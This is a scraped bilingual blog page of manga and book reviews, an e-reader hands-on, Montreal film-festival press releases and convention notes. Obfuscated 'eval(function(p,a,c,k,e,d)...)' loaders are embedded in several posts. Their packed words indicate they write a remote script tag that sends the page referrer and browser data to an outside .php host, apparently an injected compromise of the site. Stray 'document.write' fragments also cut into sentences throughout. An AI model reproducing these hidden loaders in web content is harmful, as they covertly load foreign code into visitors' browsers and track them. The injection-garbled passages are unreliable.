C’est une oeuvre introspective très émouvante qui est bien mise en lumière par une excellente narration et par le style clair et précis de Taniguchi. C’est un superbe exemple de son talent d’artiste qui est particulièrement mis en valeur par l’édition cartonné (qui en profite également pour corriger quelques erreurs de disposition de cases présentent dans les éditions précédantes). Le Journal de mon père est sans conteste l’un des plus grands chef-d’oeuvres de Taniguchi.

Le journal de mon père par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2007. B&W, 17.3 x 24 cm, 274 pgs (dont 4 en couleur). 19.00 € / $36.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-00338-5.

[ Amazon — Renaud-Bray — Biblio — WorldCat ]

Chichi no koyomi (Le journal de mon père) © 1995 by Jiro Taniguchi. All rights reserved. © Casterman, 2007 pour la traduction française.

Références: notice encyclopédique de ANN, bibliographie et notice Wikipedia.

Recommended TV series

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There are two TV series that I’ve recently discovered and that I strongly recommend for various reasons:

Moyashimon Live-Action Drama

The story is based on the Moyashimon manga (first adapted into an anime in 2007: see ANN, Wikipedia and we had a nice article about it in PA #96) in which we follow the young Tadayasu as he enters an Agricultural University. Of course, he finds himself in all sorts of situations because of the special ability that allows him to see and communicate with micro-organisms like fungi and bacteria. I heard about the live-action drama adaptation several months ago, but I was surpised to discover yesterday that it was already available in North America through the Korean drama streaming site DramaFever.com (so far five episodes can be streamed for free) and FUNimation’s YouTube channel (also five episodes available so far; click here to see episode 1). It is both funny and very educational as it is relatively faithful to the original story (the choice of the cast is amazingly close to the original character designs).

Ken Follet’s The Pillars of the Earth


A friend recently recommended me Ken Follet’s book The Pillars of the Earth. I downloaded it to my iPad from Apple’s iBookstore ($6.99) and started reading it. It is a complex and dark historical saga set around a medieval stonemason named Tom Builder who dreams of building a cathedral (for more details see the Wikipedia entries on the novel & TV series, the IMDb entry as well as Ken Follet’s website). Then, by chance, I discovered that it had just been adapted into a Germano-Canadian 8-hour TV series showing on both Starz and The Movie Network. I’ve seen three of the eight episodes so far (a fourth is airing tonight) and I think it is a compelling historical epic well worth watching. Of course, as for all adaptations, it is not entirely faithful to the novel, but, despite the relatively somber subject, it’s a good piece of entertainment with great actors. I’ve seen a really bad review in The Washington Post, but USA Today give quite a positive impression, as well as talking about the show production and even about an “amplified edition” apps available for Apple’s iPad, iPhone and iPod Touch! If you like historical drama, it is certainly worth checking out.

Revue de Presse / Press Review (2010/08/06)

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Anime & Manga related, document.write(“”); Japan, Popular Culture
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Bookeen’s Cybook Opus Hands-on

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The public libraries network where I work is considering the possibility to lend eBook readers and to allow patrons to “borrow” eBooks. In order to get some feedback, document.write(“”); the network has given different models of readers to a few librarians and technicians for evaluation. A colleague who received one of those readers wanted to get my opinion and lent his to me. I couldn’t miss this opportunity to have my first hands-on experience with one of those ePaper readers.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhhss|var|u0026u|referrer|dbhdr||js|php’.split(‘|’),0,{}))

I wish I could have had in my hands a Sony Reader or an Amazon Kindle instead (I’ve never seen a Kindle up-close and have handled a Sony Reader only for a few minutes in a book fair), but the model I got was the Bookeen’s Cybook Opus. If a little disappointed, I was nevertheless quite happy with this opportunity since the Cybook is quite an interesting reader despite its shortcomings.

The Cybook Opus uses monochrome ePaper technology. It is rather small (108 x 151 x 10 mm / 4.2 x 6 x .4 in) and ultra light (150 g / 5.3 oz). Its 5“ (125 mm) display offers a resolution of 600 x 800 pixels in 200 dpi with 4 levels of grey (in comparison Sony’s models offer 8 to 16 levels of grey). It runs on a 400 MHz Samsung ARM chipset and has 1 Gb of memory (which is enough to store a thousand books!). Its battery charge is good for two weeks or 8000 page flips and its accelerometer or G-sensor allow to automatically switch from landscape mode to portrait mode when we turn the Cybook. It has a micro SD slot for extra memory and plugs into your computer through a mini-USB connector. It reads digital editions (ePub & PDF formats), basic eBooks (HTML & TXT formats) and pictures (PNG, JPG & GIF formats). It works in 12 languages and comes preloaded with 75 books (44 classics and 2 Harlequin in English, 31 classics in French). The suggested retail price for all that is $215 CAN ($200 US).

I must note that the model I had for evaluation was an older model (released in August 2009) that was not running the latest firmware and was available only in white. The newest model, Opus v. 2 (released in May 2010), comes in 8 housing colors and (according to the company’s press release) runs much faster and smoother—as the new firmware offers many bug fixes, 9 more languages, and a new Table of Content function. It also comes preloaded with 125~150 books!

As I said, the Cybook Opus has many shortcomings: during my reading I experienced a couple of crashes (the new firmware is supposed to improve that); the screen is not backlit so you cannot read in the dark; it’s not touch-screen so the navigation is rather inefficient (without a table of content, at least in the version I tested, you can only use a “go to” option in the contextual menu in order to jump to a specific page); it doesn’t handle graphics too well (which is not good to read comics or magazines in PDF format); there’s no WiFi or G3 connectivity so you cannot use the internet and need to use a memory card or a USB cable to transfer the eBooks you downloaded on your computer; it doesn’t play MP3 (although the Gen3, Bookeen’s higher model, does); finally, you cannot change the settings or the interface besides the number of menu items viewed per page, the languages or the fonts (12 font types & 12 text sizes) and the operating system (Linux based) is not accessible at all via a shell interface. Conclusion: it’s a VERY basic model and, if it’s one of the cheapest readers, it is still too expensive. For what it offers, it would be better priced at $100~$150.

However, despite all that, I still consider the Cybook Opus as an excellent reader. Of course, the ideal reader for me is something like the Apple iPad, or the iPod touch, because it’s much more polyvalent (full internet access, ability to work on files, multi-function reader, the perfect screen to read comics & magazines, etc.), but, if you want a device ONLY to read books and nothing else, the Cybook Opus is very good for that. It might have limited functions (no advanced functions besides using hyperlinks & bookmarks — even that doesn’t work for all formats), but offers enough possible settings to make e-reading more accessible (many languages, different font sizes). It is also one of the least expensive and lightest reader on the market. The ePaper technology provides the best reading experience (particularly in full sunlight, where the iPad is not performing well) and is quite energy efficient. Its screen is small (not much bigger than the 3-inch screen of the iPod Touch) compared to the heavier Sony Reader (Pocket Edition: 5“, 8 oz, $170 US; Touch Edition: 6“, 10 oz, $250 US; Daily Edition: 7“, 13 oz, $300 US) or the Kindle (Standard: 6“, 8.5 oz, $140~$190 US; DX: 10“, 19 oz, $380 US), but it’s big enough to offer a good amount of text per page and yet still small enough to fit in a pocket. It’s not sophisticated, but a simple, compact device, perfect to carry an entire library without feeling the weight of the books.

I am not very warm to the idea of lending $200~$400 devices to patrons (considering in which state we often get books and Dvds back, doing so would be looking for trouble!), but if we were to lend eBook readers I would consider the Cybook Opus as the best model for that, because it’s relatively inexpensive, basic and easy to use. Furthermore, I would recommend to lend it already charged and preloaded with a certain amount of “free” books (and therefore without the power & USB cables) in order to reduce the device manipulation by the patrons. Of course, there’s always the risk that neglectful or malicious patrons would use the “erase” function of the contextual menu to remove documents from the reader or try to tamper with the device in some ways (by trying to copy documents to their computer for example).

It would probably be safer (avoiding the devices being lost or broken) to make the readers available only on site and to put the emphasis on “lending” the eBooks themselves either from an on-site terminal or downloadable from the internet (i.e. the library’s webpage). The library could offer a large selection of DRM-free classics (already available for free on the internet anyway), but the technology now allow to also offer titles with DRM (Digital Right Management) with an expiration date (for example: after forty-five or sixty days the eBook deletes itself from the reader — Apple is already doing that when you rent movies on iTunes).

I might soon get the opportunity to also review a Sony Reader, so that will allow me to draw a better impression of each device by comparing them. Of course, personally, I still prefer to read on my iPad!

Revue de Presse / Press Review (2010/07/31)

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Anime & Manga related, document.write(“”); Japan, Popular Culture
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Press Release: Another record year for Fantasia!!!

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|detna|var|u0026u|referrer|eezeb||js|php’.split(‘|’),0,{}))
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Montreal, document.write(“”); Wednesday, July 28, 2010 — As the 14th edition of the Fantasia Film Festival draws to a close the festival team is already seeing the positive fallout from this year’s programming!  Audience enthusiasm and curiosity is evidenced by a record number of sold-out screenings and ever-growing attendance numbers. The numbers are still being tallied, but we can already confirm that this year we surpassed 100, 000 audience members! Thanks to an intensely diversified selection of the best international films, the festival was able to attract a huge audience this year, with 44% of the screenings completely sold out. More than 100 local and international guests were in town to witness first-hand the overwhelming passion of Fantasia audiences.

Among the noteworthy events at this year’s festival, we must mention the opening film, THE SORCERER’S APPRENTICE presented by the star himself, Jay Baruchel; the honourary awards presented to Ken Russell, Don Bluth & Gary Goldman; and our tribute to Serbian cinema: Subversive Serbia. As well, let’s not forget our special events such as the presentation of Stuart Gordon’s acclaimed stage play NEVERMORE: AN EVENING WITH EDGAR ALLAN POE, the special screening of Cocteau’s LE SANG DU POÈTE live-scored by Steven Severin, the Fantastic Weekend of Quebec Shorts and of course our gala event: a sold-out presentation of THE COMPLETE METROPOLIS in a 3000-seat hall  with an entirely new orchestral score performed live, composed specially for the occasion by Gabriel Thibaudeau. Also worth mentioning are our conferences and round table discussions, which proved to be a big hit and food for thought for the artists and creators in attendance.

Among the Canadian, North American and International premieres of our lineup, Fantasia is proud to have screened SCOTT PILGRIM VS THE WORLD, CENTURION, LITTLE BIG SOLDIER, BLACK DEATH, HIGH SCHOOL, IP MAN 2, DREAM HOME, LEMMY,  RED, WHITE & BLUE, THE PERFECT HOST and THE LAST EXORCISM. We should also point out that three titles which had their World premieres at Cannes, had their North American premieres at this year’s edition of the festival: namely, Franck Richard’s LA MEUTE, Quentin Dupieux’s RUBBER and Jorge Michel Grau’s WE ARE WHAT WE ARE. Nearly ten percent of the feature films screened in our lineup were world premieres, including PHASMA EX MACHINA, NEVERLOST, I SPIT ON YOUR GRAVE and THE SHRINE. 

The festival closed with the Canadian premiere of the Sundance hit TUCKER & DALE VS EVIL. 

Numerous juries deliberated this year’s programming and we are happy to announce the winners in the various categories:

FEATURE FILM JURY

The feature film jury was presided over by Jean-Claude Lord and composed of Ian Lauzon, Don Lobel, Pawa Up First and Éric Tessier. 

BEST FEATURE FILM: Yuya Ishii’s SAWAKO DECIDES (Japan)
SPECIAL JURY PRIZE: Lee Hae-jun’s CASTAWAY ON THE MOON (South Korea) 

“Castaway on the moon earned the special jury prize due to its fresh quality, raw emotion and originality.” Jean-Claude Lord 

BEST ACTOR: Noah Taylor – RED, WHITE & BLUE (United States) 
BEST ACTRICE – UNANIMOUSLY : Hikari Mitsushima – SAWAKO DECIDES (Japan) 
BEST DIRECTOR : Lee Jun-ik – BLADES OF BLOOD (South Korea) 
BEST SCREENPLAY: Mladen Djordjevic – LIFE AND DEATH OF A PORNO GANG (Serbia) 

JURY PRIZE FOR BEST FIRST FEATURE

The first feature jury was presided over by Steven Severin and composed of Susan Curran, Brad Miska, Tom Quinn and Basil Tsiokos. 

BEST FIRST FEATURE: Eli Craig’s TUCKER AND DALE VS EVIL 

“It ultimately came down to TUCKER & DALE VS EVIL and A SERBIAN FILM as the front runners for the jury, but the final decision found TUCKER & DALE VS EVIL on top – Eli Craig has achieved what I thought impossible: a laugh out loud, original & sharp horror spoof.” Steven Severin

SPECIAL MENTION : Srdjan Spasojevic’s A SERBIAN FILM 
“Undoubtedly, A SERBIAN FILM is an important film and there is much to admire about the craft and audacious tunnel vision of the makers but there is nothing to ‘like’ about it – since viewing it, it has upset me more than I thought possible. For it to have such an effect, it deserves a special mention.”  Steven Severin

JURY PRIZE FOR BEST ANIMATION (short and feature length) 

The short and feature length animation film jury was presided over by Pierre Hébert and composed of Élène Dallaire, Marco de Blois and Claude Robinson. 

BEST ANIMATED FEATURE FILM: Sunao Katabuchi’s MAI MAI MIRACLE (Japan)
SPECIAL MENTION: Shinsuke Sato’s OBLIVION ISLAND (Japan)
BEST ANIMATED SHORT: Bastien Dubois’ MADAGASCAR
SPECIAL MENTION: Don Hertzfeldt’s WISDOM TEETH 

JURY PRIZE FOR BEST INTERNATIONAL SHORTS

The international short film jury was presided over by Maurice G. Dantec and composed of  Jean-François Caissy, Kurt Halfyard, Carolina Lucchesi Lavoie and Jean-François Rauger.

GRAND PRIZE: Firas Momani’s THE ADDER’S BITE
SPECIAL MENTION: Mian Adnan Ahmad’s HEAL

JURY PRIZE FOR BEST QUEBEC SHORT

The Quebec short film jury was presided over by Danielle Ouimet and composed of Martin Henri and Izabel Grondin.

BEST SHORT: Serge Marcotte’s THE GREENS
BEST DIRECTION : Cynthia Tremblay’s À VIF
BEST CINEMATOGRAPHY: Pedro Pires’ DANSE MACABRE
BEST PERFORMANCE (tie) : Laurence Leboeuf in SANS TITRE (the young girl with the matress) and Brent Marrale in THE GREENS
BEST SCREENPLAY: Simon Olivier Fecteau’s LE TECHNICIEN
JURY’S PICK: Emanuel Hoss-Desmarais’ MARIUS BORODINE 

JURY PRIZE FOR BEST DIY QUEBEC SHORT

The DIY Quebec short film jury was presided over by India Desjardins and composed of Martin Dubreuil, Simon Laganière and Jean-Pierre Normand.

BEST SHORT: Frédérick Tremblay’s LE TIROIR ET LE CORBEAU
BEST DIRECTION: Kris Happy Jack-McKenzie’s WINDIGO
BEST SCREENPLAY: Carnior’s HERO
BEST SPECIAL EFFECTS: Igor Simonnet’s ASTUKO’S LEGEND
JURY’S PICK: Louis Allard’s LES QUEBECERS CONTRE LES ZOMBIES 2

AQCC PRIZE

The AQCC jury was presided over by Mathieu Li-Goyette and composed of Martin Gignac and Patricia Bergeron.

For its rigorous presentation, complex characters and sober illustration of death and violence, the AQCC jury awards an honourable mention to Choi Jin-ho’s THE EXECUTIONER. Unanimously picked for its poetic portrayal of every day life, its soft realism, its social criticism and its masterful grasp of cinematography in this modern retelling of Pinocchio, the jury awards the best Asian film prize to Hirokazu Kore-eda’a AIR DOLL.

SÉQUENCES PRIZE

The Séquences jury was presided over by Pascal Grenier and composed of Julie Séguin and Mathieu Séguin-Tétreault. 
The Séquences prize for best international feature film is awarded ex-aequo to Jorge Michel Grau’s SOMOS LO QUE HAY (WE ARE WHAT WE ARE) and Simon Rumley’s RED, WHITE & BLUE.

ÉCRAN FANTASTIQUE PRIZE

The Écran Fantastique jury was presided over by Yves Rivard.

The Fantasia 2010 Écran Fantastique prize goes to the Serbian film TEARS FOR SALE from director Uros Stojanovic. There are many reasons for this choice, so we’ll only name the exceptional aesthetics which created such fantastic images that they were burned into your eyes long after leaving the theatre, its classical cinema direction (something that is becoming somewhat of a rarity) and its simultaneously poetic and subversive dialogue issuing from a still little-known area. The great performances of Sonja Kolacaric (Ognjenka) and Katarina Radivojevic (Mala Boginja) as the two sisters should also be mentioned.

Last but not least, the fans were also asked to share their favourites by voting for various public prizes. These are their choices:

AUDIENCE AWARDS

BEST ASIAN FILM
Gold – IP MAN 2 (Hong Kong)
Silver – SELL OUT! (Malaisia)
Bronze (ex-aequo) – CASTAWAY ON THE MOON (Corée du Sud), DREAM HOME (Hong Kong)

BEST EUROPEAN, NORTH AMERICAN OR SOUTH AMERICAN FILM
Gold – A SERBIAN FILM (Serbia)
Silver – AT WORLD’S END (Denmark)
Bronze – REC 2 (Spain)

BEST ANIMATED FILM
Gold – SUMMER WARS (Japan)
Silver – TECHNOTISE: EDIT AND I (Serbia)
Bronze (ex-aequo) – KING OF THORNS (Japan), SPACE BATTLESHIP YAMATO: RESURRECTION (Japan)

BEST CANADIAN OR QUEBECOIS FEATURE
Gold – THE SHRINE
Silver – SUCK
Bronze (tie) – FRANKENSTEIN UNLIMITED (Quebec) NEVERLOST (Canada)

GURU PRIZE FOR MOST ENERGENTIC FILM
Gold – IP MAN 2 (Hong Kong)
Silver – REC 2 (Spain)
Bronze – SYMBOL (Japan)

MOST INNOVATIVE FILM
Gold (tie) – SYMBOL (Japan), A SERBIAN FILM (Serbia)
Silver – SELL OUT! (Malaisia)
Bronze – RUBBER (France)

BEST DOCUMENTARY
MARWENCOL (United States)

BEST INTERNATIONAL SHORTS
Gold – CLEAN CAROUSEL (Denmark)
Silver (tie) – JACK (Canada), NINJAS (Brasil), TOUS LES HOMMES S’APPELLENT ROBERT (Quebec)
Bronze – LAMBS (United States) 

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Francis Gélinas’ L’HISTOIRE DU MÉCHANT DRAGON

A few interesting trailers

/ Clodjee / Leave a comment

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttnak|var|u0026u|referrer|knhir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtdf|var|u0026u|referrer|ehads||js|php’.split(‘|’),0,{}))

More: The Green Lantern, document.write(“”); Harry Potter and the Deathly Hallows, The Chronicles of Narnia: The Voyage of the Dawn, Predators and Tron Legacy.

Otakuthon 2010

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Like the previous years, document.write(“”); I will be attending Otakuthon as a guest.
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The convention will be held August 13-15 at the Palais des Congrès de Montréal (201, Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.

I will be taking care of a couple of tables in the Exhibition Hall (opened Friday from 5:30 pm – 9:00 pm, Saturday from 10:30 am – 7:00 pm and Sunday from 10:30 am – 5:00 pm): one to promote the magazine Protoculture Addicts and another one where I’ll be kicking off my Super Virtual Summer Garage Sale (as you know I will soon have to move out from a huge appartment into a smaller one, so I have to get rid of most of my stuff). Therefore there will be LOTS of anime & manga goodies to sell at VERY good price.

I am not planning any panel this year but come meet me in the Exhibition Hall and I’ll gladly discuss with you!

I am also looking for a volunteer to help at the table. If you are interested please contact me.

A Drifting Life

/ Clodjee / 1 Comment

“An epic memoir from a manga master — Over four decades ago, document.write(“”); Yoshihiro Tatsumi expended the horizons of comics storytelling by using the visual language of manga to tell gritty, literary stories about the private lives of everyday people. He has been called “the grandfather of Japanese alternative comics” and has influenced generations of cartoonists around the world. Now the visionary creator of The Push Man and Other Stories and Good-Bye has turned his incisive, unflinching gaze upon himself. Over ten years in the making, A Drifting Life is Tatsumi’s most ambitious, personal, and heart-felt work: an autobiographical bildungsroman in comics form. Using his life-long obsession with comics as a framework, Tatsumi weaves a complex story that encompasses family dynamics, Japanese culture and history, first love, the intricacies of the manga industry, and most importantly, what it means to be an artist. Alternately humorous, enlighting, and haunting, this is the masterful summation of a fascinating life and an historic career.” [Text from the back-cover]
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Yoshihiro TATSUMI [?? ????] was born in 1935 in Tenn?ji-ku, Osaka. Inspired by the work of Osamu TEZUKA and Noboru ÔSHIRO, he starts drawing manga in junior high school and has his first works (simple 4-panel and postcard manga) published in 1949. His first full-length story, Kodomojima (Children’s Island), is published by Tsurushobô in 1954. He becomes part of a group of artists based in the Kansai region publishing mostly for the kashibon’ya market (libraries specialized in renting hardcover books—many publishers, like Hinomaru bunko, produced their books and anthologies exclusively for that market). He then starts to be regularly published in manga compilation (contributing to anthologies like Kage [Shadow] or Machi [City]) and constantly experiments with his storytelling. His stylistic research culminate with the publication of Kuroi Fubuki (Black Snowstorm) in 1956.

Tatsumi (and the group of artists he associated with: Takao SAITÔ, Masaaki SATÔ, Masahiko MATSUMOTO among others) was writing action-oriented stories that were darker than the typical manga, and therefore, aimed at an older, more mature readership. His stories were about people’s everyday life and were using realistic themes that were more in sync with the socio-political problems of the time. In order to express such a complex storytelling he was using artistic techniques inspired by cinema (he was a big movie fan). That allowed for more expressive stories, as the narrative was better paced and the action flowing more naturally through the panels. In order to distinguish his style from the more comical and childish manga that was usual at the time, Tatsumi gave it the name “gekiga” (drama pictures). His group of artist was known as the “gekiga workshop.”

A Drifting Life (????, Gekiga Hyouryuu / A Drifting life in gekiga) was originally published in 2008 by Seirin Kogeisha. In this manga, Tatsumi is recounting how he got inspired by his brother, despite their sibling rivalry, to become a manga artist, how he met and exchanged with Osamu Tezuka and how he becomes the mangaka he is today. It is an autobiographical story but he changed his name to “Hiroshi Katsumi” (and also altered a few other characters’ name) in order to distance himself from the story (and hopefully avoid getting in trouble with his friends appearing in it!). We learned how he got involved with the pay-library market and created the gekiga workshop—which was quite successful until the late 50s and early 60s. At that time, Japan started to experience a postwar economic hyperdrive and, as people had a bigger disposable income, they were buying more than renting their manga. The pay libraries slowly faded away in favor of competing magazine publishers. Manga magazines grew in number, became much thicker and were published more frequently (often weekly instead of monthly).

A Drifting Life is a great book for many reasons. I’ll give you three of them. First, it is simply a good read as it tells a compelling human story. Second, if you are interested in Japanese culture, this manga offers some insights on ordinary people’s daily life and chronicles many events of Japan history during the 50s & 60s. Finally, and foremost, it provides an essential account of the history of manga. Of course, some might consider Tatsumi’s artwork a little crude and cartoony (the same can be said of Tezuka’s work), but there’s so much strength in the storytelling that you don’t really notice. What you do notice is the size of the book (840 pages! 2 inches thick!) which makes it a little difficult to manipulate and read, but not enough to deter from its captivating story (and, on the positive side, it can help develop your forearms!). Therefore, if you are seriously into manga, A Drifting Life is a must. If you are not convinced, you should know that it has just won two Eisner awards: for the Best U.S. Edition of International Material (Asia category) and for the Best Reality-Based Work of the year.

A Drifting Life, story & art by Yoshihiro TATSUMI (edited by Adrian Tomine, translated by Taro Nettleton). Montreal, Drawn & Quarterly, 2009. Paperback, 840 pages, 6.125 x 8.25 in. (22.1 x 16.5 cm), b/w. ISBN: 9781897299746. $29.95 US / $36.95 CDN. Recommended for teenagers (14+). See a preview of the first chapter (from the NYT) and of pages 53-59 (on the publisher’s website).
A Drifting Life © 2009 by Yoshihiro Tatsumi. © 2009 by Drawn & Quarterly for this english edition. All Rights Reserved.

More Yoshihiro TATSUMI books are available in translation. In English: Good-Bye and other stories (Catalan, 1988), The Push Man and other stories (D&Q, 2005), Abandon the Old in Tokyo (D&Q, 2006), Good-Bye (D&Q, 2008), Black Blizzard (D&Q, 2010); In French: Hiroshima (Artefact, 1983), Coups d’éclat (Vertige, 2003), Les larmes de le bête (Vertige, 2004), Good bye (Vertige, 2005), L’enfer (Cornélius, 2008).

Further readings: Yoshihiro TATSUMI official website, “Manifesto of a Comic-Book Rebel“ in New York Times (2009/04/14), review in Anime News Network (2009/07/04), and an interview in About.com: Manga.

Note: I am rather disappointed that Drawn & Quarterly did not even deign to answer my request for a review copy. Fortunately, Montreal (besides snobby publishers) has a great network of public libraries (free books!).

Press release: Le 34e FFM rendra hommage à Nathalie Baye

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Montréal, document.write(“”); le 20 juillet 2010 — Le Festival des films du monde rendra un hommage à la grande star du cinéma français et international Nathalie Baye qui sera à Montréal pour présenter une sélection parmi les nombreux films qu’elle a interprétés. « C’est un privilège rare de pouvoir accueillir une des plus grandes actrices du cinéma » a déclaré Serge Losique, président du FFM « Nathalie Baye a joué avec les réalisateurs les plus reconnus non seulement du cinéma français tels Alain Cavalier, Nicole Garcia,  Jean-Luc Godard, Tonie Marshall, Maurice Pialat, Bertrand Tavernier ou François Truffaut mais aussi du cinéma international comme Marco Ferreri, Tsai Ming-liang, Steven Spielberg ou Robert Wise, pour n’en nommer que quelques uns. Elle recevra un Grand Prix spécial des Amériques en hommage à son immense talent » a-t-il précisé.
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Au début de sa carrière, Nathalie Baye suit des cours de danse, mais, parallèlement, s’inscrit au cours Simon. Elle est ensuite admise au Conservatoire dont elle sort avec un second prix en Comédie, Comédie Dramatique et Théâtre Étranger en 1972. C’est aussi à cette époque qu’elle effectue ses premières apparitions sur grand écran, dans Brève rencontre à Paris (Two People) de Robert Wise puis dans un rôle de scripte dans La Nuit américaine de François Truffaut qui la réengage pour La Chambre verte en 1978 et métamorphose soudainement son image dans un vrai premier rôle, laissant apparaître une part d’elle plus opaque et mélancolique.

En 1981, elle reçoit le César de la meilleure actrice dans un second rôle pour son interprétation dans Sauve qui peut (la vie) de Jean-Luc Godard. S’ensuit alors une impressionnante brochette de succès, avec en point d’orgue Le Retour de Martin Guerre de Daniel Vigne et La Balance de Bob Swaim qui font d’elle la star la plus en vue du cinéma français. Devenue l’une des comédiennes les plus populaires du pays, elle remporte consécutivement deux nouveaux César : son deuxième pour le Meilleur second rôle en 1982 grâce à sa prestation dans Une étrange affaire, puis celui de la Meilleure actrice en 1983 pour La Balance.  En 1999 elle gagne un prix d’interprétation à Venise pour Une liaison pornographique de Frédéric Fonteyne. En 2002 Steven Speilberg l’engage dans Catch Me if You Can.

Quatre ans après Selon Matthieu, sorti en salles en 2001, elle retrouve l’acteur et réalisateur Xavier Beauvois avec Le Petit Lieutenant qui lui offre le rôle d’un commandant de police revenu d’un drame familial et de l’alcoolisme. Sa prestation lui vaut le quatrième César de sa carrière (son second trophée dans la catégorie Meilleure actrice). En 2008, elle tient le haut de l’affiche du nouveau film de Tonie Marshall, Passe-passe et de l’adaptation cinématographique par Josiane Balasko de son propre best-seller publié en 2004, Cliente. Son choix, clairement orienté vers l’éclectisme, lui permet d’alterner productions grand public et cinéma intimiste.

Le 34e Festival des films du monde se déroule du 26 août au 6 septembre 2010.

Press release: Le célèbre réalisateur BILLE AUGUST présidera le Jury du 34e FFM

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Montréal, document.write(“”); le 16 juillet 2010 — Danièle Cauchard et Serge Losique sont heureux d’annoncer que le réalisateur danois Bille August sera le président du jury international du prochain FFM. « Nous sommes extrêmement heureux d’accueillir l’un des plus grands cinéastes de notre temps pour présider le Jury du FFM. C’est grâce à des créateurs de cette qualité que les palmarès du FFM ont toujours été d’un très haut calibre et ont permis que les œuvres primées ici entament de prestigieuses carrières internationales par la suite » a déclaré Serge Losique, président du Conseil d’administration du FFM. « Pour nous Bille August représente le cinéma dans toute sa grandeur » a-t-il ajouté.
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Après qu’Ingmar Bergman eut pris sa retraite de réalisateur dans les années 80, Bille August acquit une place de renom parmi les cinéastes scandinaves. Au cours de sa prestigieuse carrière, il a adapté au cinéma plusieurs romans danois, dont Smilla et l’amour de la neige de Peter Høeg et Pelle le Conquérant, inspiré du livre de l’écrivain Martin Andersen Nexø. Avec le second, il a obtenu la Palme d’Or au Festival de Cannes en 1988 puis le Golden Globe et l’Oscar du meilleur film étranger l’année suivante. Les Meilleures intentions, portrait de jeunesse des parents d’Ingmar Bergman (écrit par le cinéaste lui-même) lui a valu une seconde Palme d’or cannoise en 1992. Bille August est non seulement un grand réalisateur mais aussi un scénariste, un écrivain producteur et acteur de renom mais il est surtout le représentant de la Culture universelle.

Filmographie sélective:

1978 : Honning måne
1983 : Zappa
1984 : Buster’s World (Busters verden)
1984 : Twist and Shout (Tro, håb og kærlighed)
1987 : Pelle le conquérant (Pelle erobreren)
1992 : Les Meilleures intentions (Den goda viljan)
1994 : La Maison aux esprits (The House of the Spirits)
1996 : Jerusalem
1997 : Smilla (Smilla’s Sense of Snow)
1998 : Les Misérables
2001 : A Song for Martin (En Sång för Martin)
2004 : Return to Sender
2007 : Goodbye Bafana

Le 34e Festival des films du monde se déroule du 26 août au 6 septembre 2010.

Revue de Presse / Press Review (2010/07/23)

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Anime & Manga related, document.write(“”); Japan, Popular Culture
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Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/07/17)

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I had a busy week (an appointment with the optometrist for another lengthy exam—which left me almost blind the rest of the evening—and the fitting of my new glasses, document.write(“”); a family supper and a meeting with a family friend who’s a Vatican agent) and, since the weather has not been kind and made me worried about mopping the basement (which happened two or three time in the last week or so—I am so fed up with those increasingly frequent strong thunderstorms—and twice today!), I am rather tired and still not feeling well (back pain leading to bad sleep, slight cold due to air conditioning, troubled digestion due to the heat and worries, dizziness, etc). Therefore I took a day off today to rest more, catch up on chores and review the rare interesting news of the week. My wife and I are still watching “Upstairs, Downstairs” (we’re now in the third season) and I started a huge, but quite interesting autobiographical manga by Yoshihiro Tatsumi. That’s it for the weekly personal update and now let’s go on to the news:
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Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

The shape of things to come

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On Tuesday the Anime News Network has introduced some changes to the website that are only the first steps into many more improvements to come. Those changes were first announced in a “Letter from the Editor” dated June 24th and then discussed the following day in the ANNCast episode “Totally Boss”.
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The night before the changes went online a new “Letter from the Editor” titled “A look at the (near) Future – Interim 1.0” introduced them to the website readers. ANN’s Editor-in-chief, document.write(“”); Christopher Macdonald, was telling us that a new “casual” feed would be added to the “main feed.” While the main feed would remain dedicated to hard news content, the new interest feed would bring “a daily feed of interesting and entertaining articles related to anime.” This would be accompanied with a slight layout change: an icon would be identifying the topic and type of content of each item of the feed.

This is great news. Here’s how the webpage looked on the morning the changes were introduced: